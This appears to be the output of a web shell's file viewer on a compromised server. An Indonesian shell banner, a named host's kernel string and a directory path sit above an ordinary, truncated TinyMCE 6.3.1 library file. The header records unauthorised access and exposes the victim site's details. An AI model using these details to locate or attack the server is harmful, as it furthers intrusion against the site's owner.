Ganteng Doang Upload Shell Gak Bisa


Linux server.jmdstrack.com 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
/ home/ jmdstrac/ public_html/ devices/ public/ lib/

/home/jmdstrac/public_html/devices/public/lib/tinymce.js

/******/ (() => { // webpackBootstrap
/******/ 	var __webpack_modules__ = ([
/* 0 */,
/* 1 */
/***/ ((module) => {

/**
 * TinyMCE version 6.3.1 (2022-12-06)
 */

(function () {
    'use strict';

    var typeOf$1 = function (x) {
      if (x === null) {
        return 'null';
      }
      if (x === undefined) {
        return 'undefined';
      }
      var t = typeof x;
      if (t === 'object' && (Array.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'Array')) {
        return 'array';
      }
      if (t === 'object' && (String.prototype.isPrototypeOf(x) || x.constructor && x.constructor.name === 'String')) {
        return 'string';
      }
      return t;
    };
    var isEquatableType = function (x) {
      return [
        'undefined',
        'boolean',
        'number',
        'string',
        'function',
        'xml',
        'null'
      ].indexOf(x) !== -1;
    };

    var sort$1 = function (xs, compareFn) {
      var clone = Array.prototype.slice.call(xs);
      return clone.sort(compareFn);
    };

    var contramap = function (eqa, f) {
      return eq$2(function (x, y) {
        return eqa.eq(f(x), f(y));
      });
    };
    var eq$2 = function (f) {
      return { eq: f };
    };
    var tripleEq = eq$2(function (x, y) {
      return x === y;
    });
    var eqString = tripleEq;
    var eqArray = function (eqa) {
      return eq$2(function (x, y) {
        if (x.length !== y.length) {
          return false;
        }
        var len = x.length;
        for (var i = 0; i < len; i++) {
          if (!eqa.eq(x[i], y[i])) {
            return false;
          }
        }
        return true;
      });
    };
    var eqSortedArray = function (eqa, compareFn) {
      return contramap(eqArray(eqa), function (xs) {
        return sort$1(xs, compareFn);
      });
    };
    var eqRecord = function (eqa) {
      return eq$2(function (x, y) {
        var kx = Object.keys(x);
        var ky = Object.keys(y);
        if (!eqSortedArray(eqString).eq(kx, ky)) {
          return false;
        }
        var len = kx.length;
        for (var i = 0; i < len; i++) {
          var q = kx[i];
          if (!eqa.eq(x[q], y[q])) {
            return false;
          }
        }
        return true;
      });
    };
    var eqAny = eq$2(function (x, y) {
      if (x === y) {
        return true;
      }
      var tx = typeOf$1(x);
      var ty = typeOf$1(y);
      if (tx !== ty) {
        return false;
      }
      if (isEquatableType(tx)) {
        return x === y;
      } else if (tx === 'array') {
        return eqArray(eqAny).eq(x, y);
      } else if (tx === 'object') {
        return eqRecord(eqAny).eq(x, y);
      }
      return false;
    });

    const getPrototypeOf$1 = Object.getPrototypeOf;
    const hasProto = (v, constructor, predicate) => {
      var _a;
      if (predicate(v, constructor.prototype)) {
        return true;
      } else {
        return ((_a = v.constructor) === null || _a === void 0 ? void 0 : _a.name) === constructor.name;
      }
    };
    const typeOf = x => {
      const t = typeof x;
      if (x === null) {
        return 'null';
      } else if (t === 'object' && Array.isArray(x)) {
        return 'array';
      } else if (t === 'object' && hasProto(x, String, (o, proto) => proto.isPrototypeOf(o))) {
        return 'string';
      } else {
        return t;
      }
    };
    const isType$1 = type => value => typeOf(value) === type;
    const isSimpleType = type => value => typeof value === type;
    const eq$1 = t => a => t === a;
    const is$4 = (value, constructor) => isObject(value) && hasProto(value, constructor, (o, proto) => getPrototypeOf$1(o) === proto);
    const isString = isType$1('string');
    const isObject = isType$1('object');
    const isPlainObject = value => is$4(value, Object);
    const isArray$1 = isType$1('array');
    const isNull = eq$1(null);
    const isBoolean = isSimpleType('boolean');
    const isUndefined = eq$1(undefined);
    const isNullable = a => a === null || a === undefined;
    const isNonNullable = a => !isNullable(a);
    const isFunction = isSimpleType('function');
    const isNumber = isSimpleType('number');
    const isArrayOf = (value, pred) => {
      if (isArray$1(value)) {
        for (let i = 0, len = value.length; i < len; ++i) {
          if (!pred(value[i])) {
            return false;
          }
        }
        return true;
      }
      return false;
    };

    const noop = () => {
    };
    const compose = (fa, fb) => {
      return (...args) => {
        return fa(fb.apply(null, args));
      };
    };
    const compose1 = (fbc, fab) => a => fbc(fab(a));
    const constant = value => {
      return () => {
        return value;
      };
    };
    const identity = x => {
      return x;
    };
    const tripleEquals = (a, b) => {
      return a === b;
    };
    function curry(fn, ...initialArgs) {
      return (...restArgs) => {
        const all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }
    const not = f => t => !f(t);
    const die = msg => {
      return () => {
        throw new Error(msg);
      };
    };
    const apply$1 = f => {
      return f();
    };
    const call = f => {
      f();
    };
    const never = constant(false);
    const always = constant(true);

    class Optional {
      constructor(tag, value) {
        this.tag = tag;
        this.value = value;
      }
      static some(value) {
        return new Optional(true, value);
      }
      static none() {
        return Optional.singletonNone;
      }
      fold(onNone, onSome) {
        if (this.tag) {
          return onSome(this.value);
        } else {
          return onNone();
        }
      }
      isSome() {
        return this.tag;
      }
      isNone() {
        return !this.tag;
      }
      map(mapper) {
        if (this.tag) {
          return Optional.some(mapper(this.value));
        } else {
          return Optional.none();
        }
      }
      bind(binder) {
        if (this.tag) {
          return binder(this.value);
        } else {
          return Optional.none();
        }
      }
      exists(predicate) {
        return this.tag && predicate(this.value);
      }
      forall(predicate) {
        return !this.tag || predicate(this.value);
      }
      filter(predicate) {
        if (!this.tag || predicate(this.value)) {
          return this;
        } else {
          return Optional.none();
        }
      }
      getOr(replacement) {
        return this.tag ? this.value : replacement;
      }
      or(replacement) {
        return this.tag ? this : replacement;
      }
      getOrThunk(thunk) {
        return this.tag ? this.value : thunk();
      }
      orThunk(thunk) {
        return this.tag ? this : thunk();
      }
      getOrDie(message) {
        if (!this.tag) {
          throw new Error(message !== null && message !== void 0 ? message : 'Called getOrDie on None');
        } else {
          return this.value;
        }
      }
      static from(value) {
        return isNonNullable(value) ? Optional.some(value) : Optional.none();
      }
      getOrNull() {
        return this.tag ? this.value : null;
      }
      getOrUndefined() {
        return this.value;
      }
      each(worker) {
        if (this.tag) {
          worker(this.value);
        }
      }
      toArray() {
        return this.tag ? [this.value] : [];
      }
      toString() {
        return this.tag ? `some(${ this.value })` : 'none()';
      }
    }
    Optional.singletonNone = new Optional(false);

    const nativeSlice = Array.prototype.slice;
    const nativeIndexOf = Array.prototype.indexOf;
    const nativePush = Array.prototype.push;
    const rawIndexOf = (ts, t) => nativeIndexOf.call(ts, t);
    const indexOf$1 = (xs, x) => {
      const r = rawIndexOf(xs, x);
      return r === -1 ? Optional.none() : Optional.some(r);
    };
    const contains$2 = (xs, x) => rawIndexOf(xs, x) > -1;
    const exists = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return true;
        }
      }
      return false;
    };
    const map$3 = (xs, f) => {
      const len = xs.length;
      const r = new Array(len);
      for (let i = 0; i < len; i++) {
        const x = xs[i];
        r[i] = f(x, i);
      }
      return r;
    };
    const each$e = (xs, f) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        f(x, i);
      }
    };
    const eachr = (xs, f) => {
      for (let i = xs.length - 1; i >= 0; i--) {
        const x = xs[i];
        f(x, i);
      }
    };
    const partition$2 = (xs, pred) => {
      const pass = [];
      const fail = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        const arr = pred(x, i) ? pass : fail;
        arr.push(x);
      }
      return {
        pass,
        fail
      };
    };
    const filter$5 = (xs, pred) => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          r.push(x);
        }
      }
      return r;
    };
    const foldr = (xs, f, acc) => {
      eachr(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const foldl = (xs, f, acc) => {
      each$e(xs, (x, i) => {
        acc = f(acc, x, i);
      });
      return acc;
    };
    const findUntil$1 = (xs, pred, until) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(x);
        } else if (until(x, i)) {
          break;
        }
      }
      return Optional.none();
    };
    const find$2 = (xs, pred) => {
      return findUntil$1(xs, pred, never);
    };
    const findIndex$2 = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (pred(x, i)) {
          return Optional.some(i);
        }
      }
      return Optional.none();
    };
    const flatten = xs => {
      const r = [];
      for (let i = 0, len = xs.length; i < len; ++i) {
        if (!isArray$1(xs[i])) {
          throw new Error('Arr.flatten item ' + i + ' was not an array, input: ' + xs);
        }
        nativePush.apply(r, xs[i]);
      }
      return r;
    };
    const bind$3 = (xs, f) => flatten(map$3(xs, f));
    const forall = (xs, pred) => {
      for (let i = 0, len = xs.length; i < len; ++i) {
        const x = xs[i];
        if (pred(x, i) !== true) {
          return false;
        }
      }
      return true;
    };
    const reverse = xs => {
      const r = nativeSlice.call(xs, 0);
      r.reverse();
      return r;
    };
    const difference = (a1, a2) => filter$5(a1, x => !contains$2(a2, x));
    const mapToObject = (xs, f) => {
      const r = {};
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        r[String(x)] = f(x, i);
      }
      return r;
    };
    const sort = (xs, comparator) => {
      const copy = nativeSlice.call(xs, 0);
      copy.sort(comparator);
      return copy;
    };
    const get$b = (xs, i) => i >= 0 && i < xs.length ? Optional.some(xs[i]) : Optional.none();
    const head = xs => get$b(xs, 0);
    const last$3 = xs => get$b(xs, xs.length - 1);
    const from = isFunction(Array.from) ? Array.from : x => nativeSlice.call(x);
    const findMap = (arr, f) => {
      for (let i = 0; i < arr.length; i++) {
        const r = f(arr[i], i);
        if (r.isSome()) {
          return r;
        }
      }
      return Optional.none();
    };
    const unique$1 = (xs, comparator) => {
      const r = [];
      const isDuplicated = isFunction(comparator) ? x => exists(r, i => comparator(i, x)) : x => contains$2(r, x);
      for (let i = 0, len = xs.length; i < len; i++) {
        const x = xs[i];
        if (!isDuplicated(x)) {
          r.push(x);
        }
      }
      return r;
    };

    const keys = Object.keys;
    const hasOwnProperty$2 = Object.hasOwnProperty;
    const each$d = (obj, f) => {
      const props = keys(obj);
      for (let k = 0, len = props.length; k < len; k++) {
        const i = props[k];
        const x = obj[i];
        f(x, i);
      }
    };
    const map$2 = (obj, f) => {
      return tupleMap(obj, (x, i) => ({
        k: i,
        v: f(x, i)
      }));
    };
    const tupleMap = (obj, f) => {
      const r = {};
      each$d(obj, (x, i) => {
        const tuple = f(x, i);
        r[tuple.k] = tuple.v;
      });
      return r;
    };
    const objAcc = r => (x, i) => {
      r[i] = x;
    };
    const internalFilter = (obj, pred, onTrue, onFalse) => {
      each$d(obj, (x, i) => {
        (pred(x, i) ? onTrue : onFalse)(x, i);
      });
    };
    const bifilter = (obj, pred) => {
      const t = {};
      const f = {};
      internalFilter(obj, pred, objAcc(t), objAcc(f));
      return {
        t,
        f
      };
    };
    const filter$4 = (obj, pred) => {
      const t = {};
      internalFilter(obj, pred, objAcc(t), noop);
      return t;
    };
    const mapToArray = (obj, f) => {
      const r = [];
      each$d(obj, (value, name) => {
        r.push(f(value, name));
      });
      return r;
    };
    const values = obj => {
      return mapToArray(obj, identity);
    };
    const get$a = (obj, key) => {
      return has$2(obj, key) ? Optional.from(obj[key]) : Optional.none();
    };
    const has$2 = (obj, key) => hasOwnProperty$2.call(obj, key);
    const hasNonNullableKey = (obj, key) => has$2(obj, key) && obj[key] !== undefined && obj[key] !== null;
    const equal$1 = (a1, a2, eq = eqAny) => eqRecord(eq).eq(a1, a2);

    const stringArray = a => {
      const all = {};
      each$e(a, key => {
        all[key] = {};
      });
      return keys(all);
    };

    const isArrayLike = o => o.length !== undefined;
    const isArray = Array.isArray;
    const toArray$1 = obj => {
      if (!isArray(obj)) {
        const array = [];
        for (let i = 0, l = obj.length; i < l; i++) {
          array[i] = obj[i];
        }
        return array;
      } else {
        return obj;
      }
    };
    const each$c = (o, cb, s) => {
      if (!o) {
        return false;
      }
      s = s || o;
      if (isArrayLike(o)) {
        for (let n = 0, l = o.length; n < l; n++) {
          if (cb.call(s, o[n], n, o) === false) {
            return false;
          }
        }
      } else {
        for (const n in o) {
          if (has$2(o, n)) {
            if (cb.call(s, o[n], n, o) === false) {
              return false;
            }
          }
        }
      }
      return true;
    };
    const map$1 = (array, callback) => {
      const out = [];
      each$c(array, (item, index) => {
        out.push(callback(item, index, array));
      });
      return out;
    };
    const filter$3 = (a, f) => {
      const o = [];
      each$c(a, (v, index) => {
        if (!f || f(v, index, a)) {
          o.push(v);
        }
      });
      return o;
    };
    const indexOf = (a, v) => {
      if (a) {
        for (let i = 0, l = a.length; i < l; i++) {
          if (a[i] === v) {
            return i;
          }
        }
      }
      return -1;
    };
    const reduce = (collection, iteratee, accumulator, thisArg) => {
      let acc = isUndefined(accumulator) ? collection[0] : accumulator;
      for (let i = 0; i < collection.length; i++) {
        acc = iteratee.call(thisArg, acc, collection[i], i);
      }
      return acc;
    };
    const findIndex$1 = (array, predicate, thisArg) => {
      for (let i = 0, l = array.length; i < l; i++) {
        if (predicate.call(thisArg, array[i], i, array)) {
          return i;
        }
      }
      return -1;
    };
    const last$2 = collection => collection[collection.length - 1];

    const cached = f => {
      let called = false;
      let r;
      return (...args) => {
        if (!called) {
          called = true;
          r = f.apply(null, args);
        }
        return r;
      };
    };

    const DeviceType = (os, browser, userAgent, mediaMatch) => {
      const isiPad = os.isiOS() && /ipad/i.test(userAgent) === true;
      const isiPhone = os.isiOS() && !isiPad;
      const isMobile = os.isiOS() || os.isAndroid();
      const isTouch = isMobile || mediaMatch('(pointer:coarse)');
      const isTablet = isiPad || !isiPhone && isMobile && mediaMatch('(min-device-width:768px)');
      const isPhone = isiPhone || isMobile && !isTablet;
      const iOSwebview = browser.isSafari() && os.isiOS() && /safari/i.test(userAgent) === false;
      const isDesktop = !isPhone && !isTablet && !iOSwebview;
      return {
        isiPad: constant(isiPad),
        isiPhone: constant(isiPhone),
        isTablet: constant(isTablet),
        isPhone: constant(isPhone),
        isTouch: constant(isTouch),
        isAndroid: os.isAndroid,
        isiOS: os.isiOS,
        isWebView: constant(iOSwebview),
        isDesktop: constant(isDesktop)
      };
    };

    const firstMatch = (regexes, s) => {
      for (let i = 0; i < regexes.length; i++) {
        const x = regexes[i];
        if (x.test(s)) {
          return x;
        }
      }
      return undefined;
    };
    const find$1 = (regexes, agent) => {
      const r = firstMatch(regexes, agent);
      if (!r) {
        return {
          major: 0,
          minor: 0
        };
      }
      const group = i => {
        return Number(agent.replace(r, '$' + i));
      };
      return nu$3(group(1), group(2));
    };
    const detect$5 = (versionRegexes, agent) => {
      const cleanedAgent = String(agent).toLowerCase();
      if (versionRegexes.length === 0) {
        return unknown$2();
      }
      return find$1(versionRegexes, cleanedAgent);
    };
    const unknown$2 = () => {
      return nu$3(0, 0);
    };
    const nu$3 = (major, minor) => {
      return {
        major,
        minor
      };
    };
    const Version = {
      nu: nu$3,
      detect: detect$5,
      unknown: unknown$2
    };

    const detectBrowser$1 = (browsers, userAgentData) => {
      return findMap(userAgentData.brands, uaBrand => {
        const lcBrand = uaBrand.brand.toLowerCase();
        return find$2(browsers, browser => {
          var _a;
          return lcBrand === ((_a = browser.brand) === null || _a === void 0 ? void 0 : _a.toLowerCase());
        }).map(info => ({
          current: info.name,
          version: Version.nu(parseInt(uaBrand.version, 10), 0)
        }));
      });
    };

    const detect$4 = (candidates, userAgent) => {
      const agent = String(userAgent).toLowerCase();
      return find$2(candidates, candidate => {
        return candidate.search(agent);
      });
    };
    const detectBrowser = (browsers, userAgent) => {
      return detect$4(browsers, userAgent).map(browser => {
        const version = Version.detect(browser.versionRegexes, userAgent);
        return {
          current: browser.name,
          version
        };
      });
    };
    const detectOs = (oses, userAgent) => {
      return detect$4(oses, userAgent).map(os => {
        const version = Version.detect(os.versionRegexes, userAgent);
        return {
          current: os.name,
          version
        };
      });
    };

    const removeFromStart = (str, numChars) => {
      return str.substring(numChars);
    };

    const checkRange = (str, substr, start) => substr === '' || str.length >= substr.length && str.substr(start, start + substr.length) === substr;
    const removeLeading = (str, prefix) => {
      return startsWith(str, prefix) ? removeFromStart(str, prefix.length) : str;
    };
    const contains$1 = (str, substr, start = 0, end) => {
      const idx = str.indexOf(substr, start);
      if (idx !== -1) {
        return isUndefined(end) ? true : idx + substr.length <= end;
      } else {
        return false;
      }
    };
    const startsWith = (str, prefix) => {
      return checkRange(str, prefix, 0);
    };
    const endsWith = (str, suffix) => {
      return checkRange(str, suffix, str.length - suffix.length);
    };
    const blank = r => s => s.replace(r, '');
    const trim$3 = blank(/^\s+|\s+$/g);
    const lTrim = blank(/^\s+/g);
    const rTrim = blank(/\s+$/g);
    const isNotEmpty = s => s.length > 0;
    const isEmpty$3 = s => !isNotEmpty(s);
    const repeat = (s, count) => count <= 0 ? '' : new Array(count + 1).join(s);
    const toInt = (value, radix = 10) => {
      const num = parseInt(value, radix);
      return isNaN(num) ? Optional.none() : Optional.some(num);
    };

    const normalVersionRegex = /.*?version\/\ ?([0-9]+)\.([0-9]+).*/;
    const checkContains = target => {
      return uastring => {
        return contains$1(uastring, target);
      };
    };
    const browsers = [
      {
        name: 'Edge',
        versionRegexes: [/.*?edge\/ ?([0-9]+)\.([0-9]+)$/],
        search: uastring => {
          return contains$1(uastring, 'edge/') && contains$1(uastring, 'chrome') && contains$1(uastring, 'safari') && contains$1(uastring, 'applewebkit');
        }
      },
      {
        name: 'Chromium',
        brand: 'Chromium',
        versionRegexes: [
          /.*?chrome\/([0-9]+)\.([0-9]+).*/,
          normalVersionRegex
        ],
        search: uastring => {
          return contains$1(uastring, 'chrome') && !contains$1(uastring, 'chromeframe');
        }
      },
      {
        name: 'IE',
        versionRegexes: [
          /.*?msie\ ?([0-9]+)\.([0-9]+).*/,
          /.*?rv:([0-9]+)\.([0-9]+).*/
        ],
        search: uastring => {
          return contains$1(uastring, 'msie') || contains$1(uastring, 'trident');
        }
      },
      {
        name: 'Opera',
        versionRegexes: [
          normalVersionRegex,
          /.*?opera\/([0-9]+)\.([0-9]+).*/
        ],
        search: checkContains('opera')
      },
      {
        name: 'Firefox',
        versionRegexes: [/.*?firefox\/\ ?([0-9]+)\.([0-9]+).*/],
        search: checkContains('firefox')
      },
      {
        name: 'Safari',
        versionRegexes: [
          normalVersionRegex,
          /.*?cpu os ([0-9]+)_([0-9]+).*/
        ],
        search: uastring => {
          return (contains$1(uastring, 'safari') || contains$1(uastring, 'mobile/')) && contains$1(uastring, 'applewebkit');
        }
      }
    ];
    const oses = [
      {
        name: 'Windows',
        search: checkContains('win'),
        versionRegexes: [/.*?windows\ nt\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'iOS',
        search: uastring => {
          return contains$1(uastring, 'iphone') || contains$1(uastring, 'ipad');
        },
        versionRegexes: [
          /.*?version\/\ ?([0-9]+)\.([0-9]+).*/,
          /.*cpu os ([0-9]+)_([0-9]+).*/,
          /.*cpu iphone os ([0-9]+)_([0-9]+).*/
        ]
      },
      {
        name: 'Android',
        search: checkContains('android'),
        versionRegexes: [/.*?android\ ?([0-9]+)\.([0-9]+).*/]
      },
      {
        name: 'macOS',
        search: checkContains('mac os x'),
        versionRegexes: [/.*?mac\ os\ x\ ?([0-9]+)_([0-9]+).*/]
      },
      {
        name: 'Linux',
        search: checkContains('linux'),
        versionRegexes: []
      },
      {
        name: 'Solaris',
        search: checkContains('sunos'),
        versionRegexes: []
      },
      {
        name: 'FreeBSD',
        search: checkContains('freebsd'),
        versionRegexes: []
      },
      {
        name: 'ChromeOS',
        search: checkContains('cros'),
        versionRegexes: [/.*?chrome\/([0-9]+)\.([0-9]+).*/]
      }
    ];
    const PlatformInfo = {
      browsers: constant(browsers),
      oses: constant(oses)
    };

    const edge = 'Edge';
    const chromium = 'Chromium';
    const ie = 'IE';
    const opera = 'Opera';
    const firefox = 'Firefox';
    const safari = 'Safari';
    const unknown$1 = () => {
      return nu$2({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu$2 = info => {
      const current = info.current;
      const version = info.version;
      const isBrowser = name => () => current === name;
      return {
        current,
        version,
        isEdge: isBrowser(edge),
        isChromium: isBrowser(chromium),
        isIE: isBrowser(ie),
        isOpera: isBrowser(opera),
        isFirefox: isBrowser(firefox),
        isSafari: isBrowser(safari)
      };
    };
    const Browser = {
      unknown: unknown$1,
      nu: nu$2,
      edge: constant(edge),
      chromium: constant(chromium),
      ie: constant(ie),
      opera: constant(opera),
      firefox: constant(firefox),
      safari: constant(safari)
    };

    const windows = 'Windows';
    const ios = 'iOS';
    const android = 'Android';
    const linux = 'Linux';
    const macos = 'macOS';
    const solaris = 'Solaris';
    const freebsd = 'FreeBSD';
    const chromeos = 'ChromeOS';
    const unknown = () => {
      return nu$1({
        current: undefined,
        version: Version.unknown()
      });
    };
    const nu$1 = info => {
      const current = info.current;
      const version = info.version;
      const isOS = name => () => current === name;
      return {
        current,
        version,
        isWindows: isOS(windows),
        isiOS: isOS(ios),
        isAndroid: isOS(android),
        isMacOS: isOS(macos),
        isLinux: isOS(linux),
        isSolaris: isOS(solaris),
        isFreeBSD: isOS(freebsd),
        isChromeOS: isOS(chromeos)
      };
    };
    const OperatingSystem = {
      unknown,
      nu: nu$1,
      windows: constant(windows),
      ios: constant(ios),
      android: constant(android),
      linux: constant(linux),
      macos: constant(macos),
      solaris: constant(solaris),
      freebsd: constant(freebsd),
      chromeos: constant(chromeos)
    };

    const detect$3 = (userAgent, userAgentDataOpt, mediaMatch) => {
      const browsers = PlatformInfo.browsers();
      const oses = PlatformInfo.oses();
      const browser = userAgentDataOpt.bind(userAgentData => detectBrowser$1(browsers, userAgentData)).orThunk(() => detectBrowser(browsers, userAgent)).fold(Browser.unknown, Browser.nu);
      const os = detectOs(oses, userAgent).fold(OperatingSystem.unknown, OperatingSystem.nu);
      const deviceType = DeviceType(os, browser, userAgent, mediaMatch);
      return {
        browser,
        os,
        deviceType
      };
    };
    const PlatformDetection = { detect: detect$3 };

    const mediaMatch = query => window.matchMedia(query).matches;
    let platform$2 = cached(() => PlatformDetection.detect(navigator.userAgent, Optional.from(navigator.userAgentData), mediaMatch));
    const detect$2 = () => platform$2();

    const userAgent = navigator.userAgent;
    const platform$1 = detect$2();
    const browser$1 = platform$1.browser;
    const os = platform$1.os;
    const deviceType = platform$1.deviceType;
    const windowsPhone = userAgent.indexOf('Windows Phone') !== -1;
    const Env = {
      transparentSrc: 'data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7',
      documentMode: browser$1.isIE() ? document.documentMode || 7 : 10,
      cacheSuffix: null,
      container: null,
      canHaveCSP: !browser$1.isIE(),
      windowsPhone,
      browser: {
        current: browser$1.current,
        version: browser$1.version,
        isChromium: browser$1.isChromium,
        isEdge: browser$1.isEdge,
        isFirefox: browser$1.isFirefox,
        isIE: browser$1.isIE,
        isOpera: browser$1.isOpera,
        isSafari: browser$1.isSafari
      },
      os: {
        current: os.current,
        version: os.version,
        isAndroid: os.isAndroid,
        isChromeOS: os.isChromeOS,
        isFreeBSD: os.isFreeBSD,
        isiOS: os.isiOS,
        isLinux: os.isLinux,
        isMacOS: os.isMacOS,
        isSolaris: os.isSolaris,
        isWindows: os.isWindows
      },
      deviceType: {
        isDesktop: deviceType.isDesktop,
        isiPad: deviceType.isiPad,
        isiPhone: deviceType.isiPhone,
        isPhone: deviceType.isPhone,
        isTablet: deviceType.isTablet,
        isTouch: deviceType.isTouch,
        isWebView: deviceType.isWebView
      }
    };

    const whiteSpaceRegExp$1 = /^\s*|\s*$/g;
    const trim$2 = str => {
      return isNullable(str) ? '' : ('' + str).replace(whiteSpaceRegExp$1, '');
    };
    const is$3 = (obj, type) => {
      if (!type) {
        return obj !== undefined;
      }
      if (type === 'array' && isArray(obj)) {
        return true;
      }
      return typeof obj === type;
    };
    const makeMap$4 = (items, delim, map = {}) => {
      const resolvedItems = isString(items) ? items.split(delim || ',') : items || [];
      let i = resolvedItems.length;
      while (i--) {
        map[resolvedItems[i]] = {};
      }
      return map;
    };
    const hasOwnProperty$1 = has$2;
    const extend$3 = (obj, ...exts) => {
      for (let i = 0; i < exts.length; i++) {
        const ext = exts[i];
        for (const name in ext) {
          if (has$2(ext, name)) {
            const value = ext[name];
            if (value !== undefined) {
              obj[name] = value;
            }
          }
        }
      }
      return obj;
    };
    const walk$4 = function (o, f, n, s) {
      s = s || this;
      if (o) {
        if (n) {
          o = o[n];
        }
        each$c(o, (o, i) => {
          if (f.call(s, o, i, n) === false) {
            return false;
          } else {
            walk$4(o, f, n, s);
            return true;
          }
        });
      }
    };
    const resolve$2 = (n, o = window) => {
      const path = n.split('.');
      for (let i = 0, l = path.length; i < l; i++) {
        o = o[path[i]];
        if (!o) {
          break;
        }
      }
      return o;
    };
    const explode$3 = (s, d) => {
      if (isArray$1(s)) {
        return s;
      } else if (s === '') {
        return [];
      } else {
        return map$1(s.split(d || ','), trim$2);
      }
    };
    const _addCacheSuffix = url => {
      const cacheSuffix = Env.cacheSuffix;
      if (cacheSuffix) {
        url += (url.indexOf('?') === -1 ? '?' : '&') + cacheSuffix;
      }
      return url;
    };
    const Tools = {
      trim: trim$2,
      isArray: isArray,
      is: is$3,
      toArray: toArray$1,
      makeMap: makeMap$4,
      each: each$c,
      map: map$1,
      grep: filter$3,
      inArray: indexOf,
      hasOwn: hasOwnProperty$1,
      extend: extend$3,
      walk: walk$4,
      resolve: resolve$2,
      explode: explode$3,
      _addCacheSuffix
    };

    const is$2 = (lhs, rhs, comparator = tripleEquals) => lhs.exists(left => comparator(left, rhs));
    const cat = arr => {
      const r = [];
      const push = x => {
        r.push(x);
      };
      for (let i = 0; i < arr.length; i++) {
        arr[i].each(push);
      }
      return r;
    };
    const lift2 = (oa, ob, f) => oa.isSome() && ob.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie())) : Optional.none();
    const lift3 = (oa, ob, oc, f) => oa.isSome() && ob.isSome() && oc.isSome() ? Optional.some(f(oa.getOrDie(), ob.getOrDie(), oc.getOrDie())) : Optional.none();
    const someIf = (b, a) => b ? Optional.some(a) : Optional.none();

    typeof window !== 'undefined' ? window : Function('return this;')();

    const COMMENT = 8;
    const DOCUMENT = 9;
    const DOCUMENT_FRAGMENT = 11;
    const ELEMENT = 1;
    const TEXT = 3;

    const name = element => {
      const r = element.dom.nodeName;
      return r.toLowerCase();
    };
    const type$1 = element => element.dom.nodeType;
    const isType = t => element => type$1(element) === t;
    const isComment$1 = element => type$1(element) === COMMENT || name(element) === '#comment';
    const isElement$7 = isType(ELEMENT);
    const isText$b = isType(TEXT);
    const isDocument$2 = isType(DOCUMENT);
    const isDocumentFragment$1 = isType(DOCUMENT_FRAGMENT);
    const isTag = tag => e => isElement$7(e) && name(e) === tag;

    const rawSet = (dom, key, value) => {
      if (isString(value) || isBoolean(value) || isNumber(value)) {
        dom.setAttribute(key, value + '');
      } else {
        console.error('Invalid call to Attribute.set. Key ', key, ':: Value ', value, ':: Element ', dom);
        throw new Error('Attribute value was not simple');
      }
    };
    const set$2 = (element, key, value) => {
      rawSet(element.dom, key, value);
    };
    const setAll$1 = (element, attrs) => {
      const dom = element.dom;
      each$d(attrs, (v, k) => {
        rawSet(dom, k, v);
      });
    };
    const get$9 = (element, key) => {
      const v = element.dom.getAttribute(key);
      return v === null ? undefined : v;
    };
    const getOpt = (element, key) => Optional.from(get$9(element, key));
    const has$1 = (element, key) => {
      const dom = element.dom;
      return dom && dom.hasAttribute ? dom.hasAttribute(key) : false;
    };
    const remove$b = (element, key) => {
      element.dom.removeAttribute(key);
    };
    const hasNone = element => {
      const attrs = element.dom.attributes;
      return attrs === undefined || attrs === null || attrs.length === 0;
    };
    const clone$4 = element => foldl(element.dom.attributes, (acc, attr) => {
      acc[attr.name] = attr.value;
      return acc;
    }, {});

    const read$4 = (element, attr) => {
      const value = get$9(element, attr);
      return value === undefined || value === '' ? [] : value.split(' ');
    };
    const add$4 = (element, attr, id) => {
      const old = read$4(element, attr);
      const nu = old.concat([id]);
      set$2(element, attr, nu.join(' '));
      return true;
    };
    const remove$a = (element, attr, id) => {
      const nu = filter$5(read$4(element, attr), v => v !== id);
      if (nu.length > 0) {
        set$2(element, attr, nu.join(' '));
      } else {
        remove$b(element, attr);
      }
      return false;
    };

    const supports = element => element.dom.classList !== undefined;
    const get$8 = element => read$4(element, 'class');
    const add$3 = (element, clazz) => add$4(element, 'class', clazz);
    const remove$9 = (element, clazz) => remove$a(element, 'class', clazz);
    const toggle$2 = (element, clazz) => {
      if (contains$2(get$8(element), clazz)) {
        return remove$9(element, clazz);
      } else {
        return add$3(element, clazz);
      }
    };

    const add$2 = (element, clazz) => {
      if (supports(element)) {
        element.dom.classList.add(clazz);
      } else {
        add$3(element, clazz);
      }
    };
    const cleanClass = element => {
      const classList = supports(element) ? element.dom.classList : get$8(element);
      if (classList.length === 0) {
        remove$b(element, 'class');
      }
    };
    const remove$8 = (element, clazz) => {
      if (supports(element)) {
        const classList = element.dom.classList;
        classList.remove(clazz);
      } else {
        remove$9(element, clazz);
      }
      cleanClass(element);
    };
    const toggle$1 = (element, clazz) => {
      const result = supports(element) ? element.dom.classList.toggle(clazz) : toggle$2(element, clazz);
      cleanClass(element);
      return result;
    };
    const has = (element, clazz) => supports(element) && element.dom.classList.contains(clazz);

    const isSupported$1 = dom => dom.style !== undefined && isFunction(dom.style.getPropertyValue);

    const fromHtml$1 = (html, scope) => {
      const doc = scope || document;
      const div = doc.createElement('div');
      div.innerHTML = html;
      if (!div.hasChildNodes() || div.childNodes.length > 1) {
        const message = 'HTML does not have a single root node';
        console.error(message, html);
        throw new Error(message);
      }
      return fromDom$2(div.childNodes[0]);
    };
    const fromTag = (tag, scope) => {
      const doc = scope || document;
      const node = doc.createElement(tag);
      return fromDom$2(node);
    };
